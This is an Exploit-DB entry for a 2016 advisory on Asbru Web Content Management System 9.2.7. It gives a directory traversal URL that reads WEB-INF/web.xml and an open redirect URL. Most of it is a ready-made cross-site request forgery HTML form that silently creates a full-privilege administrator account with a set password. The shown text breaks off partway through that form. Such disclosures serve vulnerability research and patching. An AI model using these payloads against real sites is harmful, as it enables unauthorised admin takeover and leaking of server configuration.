Exploit-DB #39667
Description: Asbru Web Content Management System 9.2.7 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2016-04-06
Author: LiquidWorm

Exploit:

Asbru Web Content Management System v9.2.7 Multiple Vulnerabilities


Vendor: Asbru Ltd.
Product web page: http://www.asbrusoft.com
Affected version: 9.2.7

Summary: Ready to use, full-featured, database-driven web content management
system (CMS) with integrated community, databases, e-commerce and statistics
modules for creating, publishing and managing rich and user-friendly Internet,
Extranet and Intranet websites.

Desc: Asbru WCM suffers from multiple vulnerabilities including Cross-Site Request
Forgery, Stored Cross-Site Scripting, Open Redirect and Information Disclosure.

Tested on : Apache Tomcat/5.5.23
            Apache/2.2.3 (CentOS)


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2016-5314
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5314.php


09.03.2016

--


#1
Directory Traversal:
--------------------

http://10.0.0.7/../../../../../WEB-INF/web.xml


#2
Open Redirect:
--------------

http://10.0.0.7/login_post.jsp?url=http://www.zeroscience.mk


#3
Cross-Site Request Forgery (Add 'administrator' With Full Privileges):
----------------------------------------------------------------------

<html>
  <body>
    <form action="http://10.0.0.7/webadmin/users/create_post.jsp?id=&redirect=" method="POST">
      <input type="hidden" name="userinfo" value="&#13;&#10;<TEST><&#47;TEST>&#13;&#10;" />
      <input type="hidden" name="title" value="Mr" />
      <input type="hidden" name="name" value="Chekmidash" />
      <input type="hidden" name="organisation" value="ZSL" />
      <input type="hidden" name="email" value="test&#64;testingus&#46;io" />
      <input type="hidden" name="gender" value="1" />
      <input type="hidden" name="birthdate" value="1984&#45;01&#45;01" />
      <input type="hidden" name="birthday" value="01" />
      <input type="hidden" name="birthmonth" value="01" />
      <input type="hidden" name="birthyear" value="1984" />
      <input type="hidden" name="notes" value="CSRFNote" />
      <input type="hidden" name="userinfo1" value="" />
      <input type="hidden" name="userinfoname" value="" />
      <input type="hidden" name="username" value="hackedusername" />
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="userclass" value="administrator" />
      <input type="hidden" name="usergroup" value="" />
      <input type="hidden" name="usertype" value="" />
      <input type="hidden" name="usergroups" value="Account&#32;Managers" />
      <input type="hidden" name="usergroups" value="Company&#32;Bloggers" />
      <input type="hidden" name="usergroups" value="Customer" />
      <input type="hidden" name="usergroups" value="Event&#32;Managers" />
      <input type="hidden" name="usergroups" value="Financial&#32;Officers" />
      <input type="hidden" name="usergroups" value="Forum&#32;Moderator" />
      <input type="hidden" name="usergroups" value="Human&#32;Resources" />
      <input type="hidden" name="usergroups" value="Intranet&#32;Managers" />
      <input type="hidden" name="usergroups" value="Intranet&#32;Users" />
      <input type="hidden" name="usergroups" value="Newsletter" />
      <input type="hidden" name="usergroups" value="Press&#32;Officers" />
      <input type="hidden" name="usergroups" value="Product&#32;Managers" />
      <input type="hidden" name="usergroups" value="Registered&#32;Users" />
      <input type="hidden" name="usergroups" value="Shop&#32;Managers" />
      <input type="hidden" name="usergroups" value="Subscribers" />
      <input type="hidden" name="usergroups" value="Support&#32;Ticket&#32;Administrators" />
      <input type="hidden" name="usergroups" value="Support&#32;Ticket&#32;Users" />
      <input type="hidden" name="usergroups" value="User&#32;Managers" />
      <input type="hidden" name="usergroups" value="Website&#32;Administrators" />
      <input type="hidden" name="usergroups" value="Website&#32;Developers" />
      <input type="hidden" name="users&#95;group" value="" />
      <input type="hidden" name="users&#95;type" value="" />
      <input type="hidden" name="creators&#95;group" value="" />
      <input type="hidden" name="creators&#95;type" value="" />
      <input type="hidden" name="editors&#95;group" value="" />
      <input type="hidden" name="editors&#95;type" value="" />
      <input type="hidden" name="publishers&#95;group" value="" />
      <input type="hidden" name="publishers&#95;type" value="" />
      <input type="hidden" name="administrators&#95;group" value="" />
      <input type="hidden" name="administrators&#95;type" value="" />
      <input type="hidden" name="scheduled&#95;publish" value="2016&#45;03&#45;13&#32;00&#58;00" />
      <input type="hidden" name="scheduled&#95;publish&#95;email" value="" />
      <input type="hidden" name="scheduled&#95;notify" value="" />
      <input type="hidden" name="scheduled&#95;notify&#95;email" value="" />
      <input type="hidden" name="scheduled&#95;unpublish" value="" />
      <input type="hidden" name="scheduled&#95;unpublish&#95;email" value="" />
      <input type="hidden" name="invoice&#95;name" value="Icebreaker" />
      <input type="hidden" name="invoice&#95;organisation" value="Zero&#32;Science&#32;Lab" />
      <input type="hidden" name="invoice&#95;address" value="nu" />
      <input type="hidden" name="invoice&#95;postalcode" value="1300" />
      <input type="hidden" name="invoice&#95;city" value="Neverland" />
      <input type="hidden" name="invoice&#95;state" value="ND" />
      <input type="hidden" name="invoice&#95;country" value="ND" />
      <input type="hidden" name="invoice&#95;phone" value="111&#45;222&#45;3333" />
      <input type="hidden" name="invoice&#95;fax" value="" />
      <input type="hidden" name="invoice&#95;email" value="lab&#64;zeroscience&#46;tld" />